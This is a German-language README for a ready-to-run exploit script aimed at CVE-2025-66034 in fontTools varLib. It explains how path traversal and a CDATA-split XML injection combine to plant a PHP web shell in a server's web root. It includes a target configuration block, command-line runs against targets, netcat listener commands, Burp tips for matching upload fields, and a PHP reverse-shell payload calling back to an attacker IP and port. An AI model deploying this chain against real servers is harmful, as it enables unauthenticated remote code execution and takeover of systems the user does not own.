
Automatisierter Exploit für CVE-2025-66034, der Pfad-Traversal und XML-Injection in fontTools varLib verkettet, um eine nicht authentifizierte Remotecodeausführung durch Hochladen einer präparierten .designspace-Datei zu erreichen.
fontTools varLib – Beliebiges Dateischreiben + XML-Injection → Remote-Codeausführung
CVE-2025-66034 ist eine Schwachstelle in der fontTools.varLib-Pipeline zur Generierung variabler Schriftarten. Wenn eine Webanwendung diese Pipeline bereitstellt und benutzergelieferte .designspace-Dateien akzeptiert, verketten sich zwei Schwachstellen zu einer nicht authentifizierten Remote-Codeausführung.
font_varlib.py automatisiert die gesamte Exploit-Kette – Schrifterzeugung, Payload-Erstellung, Upload und Reverse-Shell-Übergabe.
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| Paket | fonttools (pip) |
| Betroffener Bereich | >= 4.33.0, < 4.60.2 |
| Behoben in | 4.60.2 |
| Schweregrad | Mittel (CVSS 6.3) |
| Angriffsvektor | Lokal (erfordert Datei-Upload auf das Ziel) |
| Erforderliche Berechtigungen | Keine |
| Benutzerinteraktion | Erforderlich (Upload-Auslöser) |
| # | Primitive | CWE | Grundursache |
|---|---|---|---|
| 1 | Pfad-Traversal | CWE-22 | Das filename-Attribut in .designspace wird ohne Bereinigung direkt an os.path.join() übergeben – absolute Pfade verwerfen das vorgesehene Ausgabeverzeichnis vollständig. |
| 2 | XML-Injection | CWE-91 | <labelname>-CDATA-Abschnitte erlauben eine Split-Sequenz (]]]]><![CDATA[>), um rohes PHP am XML-Parser vorbei in die geschriebene Ausgabedatei zu schleusen. |
Angreifer erstellt bösartige .designspace
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── PFAD-TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir verworfen → Schreiben in Web-Root
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML-INJECTION
CDATA-Split bettet rohes PHP
in die Ausgabeschrift-Binärdatei ein
│
▼
fontTools.varLib.main() verarbeitet Datei serverseitig
│
▼
shell.php wird in ein webfähiges Verzeichnis geschrieben
│
▼
GET /files/shell.php → PHP wird ausgeführt → Reverse-Shell-Callback
│
▼
RCE als www-data
Python: 3.9+
Abhängigkeiten:
pip install fonttools requests
System:
nc (netcat) – erforderlich für den automatischen Listener-Modus (mit --no-listen überspringen)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
Öffnen Sie vor dem Ausführen font_varlib.py und aktualisieren Sie den Konfigurationsblock am Anfang der Datei, sodass er Ihrem Ziel entspricht. Jeder Wert enthält einen Inline-Kommentar, der erklärt, was es ist und wie der korrekte Wert gefunden wird.
# ══════════════════════════════════════════════════════════════════════════════
# STANDARDWERTE
# Ändern Sie diese, damit sie vor dem Ausführen Ihrem Ziel entsprechen.
# Alle Werte können zur Laufzeit auch über CLI-Flags überschrieben werden – siehe --help.
# ══════════════════════════════════════════════════════════════════════════════
# Basis-URL des Upload-Hosts (der Site, die die .designspace akzeptiert)
UPLOAD_HOST = "http://test.com"
# Pfad auf dem Upload-Host, der den Multipart-Form-POST verarbeitet
# Mit Burp bestätigen – nach dem POST nach dem Klick auf den Generate-Button suchen
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absoluter Dateisystempfad auf dem Server, in den Ausgabedateien geschrieben werden
# Muss via HTTP erreichbar sein, damit die Shell über HTTP ausgelöst werden kann
WEBROOT = "/var/www/test.com/public/files"
# Basis-URL, um die geschriebene Shell-Datei abzurufen/auszulösen
# Entspricht WEBROOT auf der Festplatte
SHELL_HOST = "http://testing.test.com/files"
# Multipart-Formularfeldnamen – vor dem Ausführen mit Burp bestätigen
# Wenn der Upload stillschweigend fehlschlägt (HTTP 200, aber keine Shell), sind falsche Feldnamen die Ursache
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell-Dateinamen-Präfix – zufälliger Suffix wird zur Laufzeit angehängt
SHELL_PREFIX = "f0nt_"
# Länge des zufälligen Suffix – länger = schwerer zu erraten
SHELL_SUFFIX_LEN = 8
Tipp: Fangen Sie eine legitime Upload-Anfrage in Burp Suite ab, um
UPLOAD_ENDPOINTund die exakten Multipart-Feldnamen vor dem Ausführen zu bestätigen. Eine Nichtübereinstimmung der Feldnamen führt zu einem stillen Fehlschlag – der Server gibt HTTP 200 zurück, aber es wird keine Shell geschrieben.
python3 font_varlib.py --ip <ANGREIFER_IP> --port <PORT>
# Terminal 1 – Listener starten
nc -lvnp 4444
# Terminal 2 – Exploit ohne automatischen Listener ausführen
python3 font_varlib.py --ip <ANGREIFER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
| Argument | Erforderlich | Standard | Beschreibung |
|---|---|---|---|
--ip | ✓ | – | IP des Angreifer-Listeners |
--port | ✓ | – | Port des Angreifer-Listeners |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | Upload-Endpunkt (POST) | |
--webroot | WEBROOT | Serverseitiger Dateisystem-Schreibpfad (muss webfähig sein) | |
--shell | SHELL_HOST | Basis-URL, um die geschriebene Shell auszulösen | |
--no-listen | false | Automatischen nc-Listener überspringen – nur auslösen |
Zwei minimale, aber strukturell gültige .ttf-Quelldateien werden programmatisch mit fontTools.FontBuilder erzeugt. varLib benötigt mindestens zwei Achsen-Master, um eine variable Schrift zu verarbeiten – diese erfüllen diese Anforderung, ohne dass echte Schriftdateien auf der Festplatte vorhanden sein müssen.
Eine bösartige .designspace-XML-Datei wird erstellt, die beide Angriffsprimitive einbettet:
Primitive 1 – XML-Injection via CDATA-Split:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
Die Sequenz ]]]]><![CDATA[> beendet den aktuellen CDATA-Block und öffnet sofort einen neuen. Der XML-Parser verarbeitet dies als gültiges Markup, aber varLib serialisiert den Inhalt wörtlich in die Ausgabedatei – rohes PHP wird in die Schrift-Binärdatei eingebettet.